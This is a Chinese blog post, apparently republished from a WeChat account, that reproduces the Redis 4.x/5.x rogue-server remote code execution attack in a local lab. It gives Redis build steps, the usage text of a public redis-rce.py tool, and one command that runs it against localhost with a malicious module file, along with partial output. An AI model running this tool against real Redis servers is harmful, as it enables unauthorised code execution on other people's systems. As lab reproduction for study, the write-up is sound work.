前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Redis 4.x 5.xRCE的傻瓜式复现

Redis 4.x 5.xRCE的傻瓜式复现

作者头像
用户5878089
发布2019-07-23 10:50:06
5770
发布2019-07-23 10:50:06
举报
文章被收录于专栏:网络攻防实战知识交流

前言

在车上无聊,突然看见redis出现的RCE,有大佬在github上方的poc,就用很卡的网在复现了一下,底层未知,先傻瓜式复现。

环境搭建

我的环境

代码语言:javascript
复制
root@localhost:~/redis-rce# uname -a
Linux localhost.localdomain 4.15.0-20-generic #21-Ubuntu SMP Tue Apr 24 06:16:15 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
root@localhost:~/redis-rce#

源码安装 4.0.11版本

前提是需要gcc make

代码语言:javascript
复制
cd ~ 
wget download.redis.io/releases/redis-4.0.11.tar.gz
tar zxf redis-4.0.11.tar.gz 
cd redis-4.0.11 
make PREFIX=/usr/local/redis install 

中间可能回出错

代码语言:javascript
复制
在src目录下
make MALLOC=libc

具体可以看这两文档

代码语言:javascript
复制
https://blog.csdn.net/buyueliuying/article/details/82316517
代码语言:javascript
复制
https://blog.csdn.net/qq_16069927/article/details/82899025

启动的方式

代码语言:javascript
复制
/usr/local/redis/bin/redis-server 

验证安装成功的方式:

代码语言:javascript
复制
root@localhost:~# cd /usr/local/redis/bin
root@localhost:/usr/local/redis/bin# ls
redis-benchmark  redis-check-rdb  redis-sentinel
redis-check-aof  redis-cli        redis-server
root@localhost:/usr/local/redis/bin# ss -tanlp | grep redis
LISTEN   0         128               127.0.0.1:6379             0.0.0.0:*        users:(("redis-server",pid=23943,fd=6))

漏洞复现

需要用到大佬的工具

代码语言:javascript
复制
https://github.com/Ridter/redis-rce

工具集成化也比较高。可以拿来直接使用

参数说明如下:

代码语言:javascript
复制
usage: redis-rce.py [-h] -r RHOST [-p RPORT] -L LHOST [-P LPORT] [-f FILE]
                    [-a AUTH] [-v]

Redis 4.x/5.x RCE with RedisModules

optional arguments:
  -h, --help            show this help message and exit
  -r RHOST, --rhost RHOST
                        target host
  -p RPORT, --rport RPORT
                        target redis port, default 6379
  -L LHOST, --lhost LHOST
                        rogue server ip
  -P LPORT, --lport LPORT
                        rogue server listen port, default 21000
  -f FILE, --file FILE  RedisModules to load, default exp.so
  -a AUTH, --auth AUTH  redis password
  -v, --verbose         show more info

本地攻击测试

代码语言:javascript
复制
root@localhost:~/redis-rce# python redis-rce.py -r 127.0.0.1 -L 127.0.0.1 -f exp_lin.so

█▄▄▄▄ ▄███▄   ██▄   ▄█    ▄▄▄▄▄       █▄▄▄▄ ▄█▄    ▄███▄
█  ▄▀ █▀   ▀  █  █  ██   █     ▀▄     █  ▄▀ █▀ ▀▄  █▀   ▀
█▀▀▌  ██▄▄    █   █ ██ ▄  ▀▀▀▀▄       █▀▀▌  █   ▀  ██▄▄
█  █  █▄   ▄▀ █  █  ▐█  ▀▄▄▄▄▀        █  █  █▄  ▄▀ █▄   ▄▀
  █   ▀███▀   ███▀   ▐                  █   ▀███▀  ▀███▀
 ▀                                     ▀


[*] Connecting to  127.0.0.1:6379...
[*] Listening on 127.0.0.1:21000
[*] Sending SLAVEOF command to server
[+] Accepted connection from 127.0.0.1:45160
[*] Setting filename

后记

就是复现一下,关于漏洞的原理,后续分析,下车。。。。。。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-07-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 无级安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 环境搭建
  • 漏洞复现
  • 后记
相关产品与服务
云数据库 Redis
腾讯云数据库 Redis(TencentDB for Redis)是腾讯云打造的兼容 Redis 协议的缓存和存储服务。丰富的数据结构能帮助您完成不同类型的业务场景开发。支持主从热备,提供自动容灾切换、数据备份、故障迁移、实例监控、在线扩容、数据回档等全套的数据库服务。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档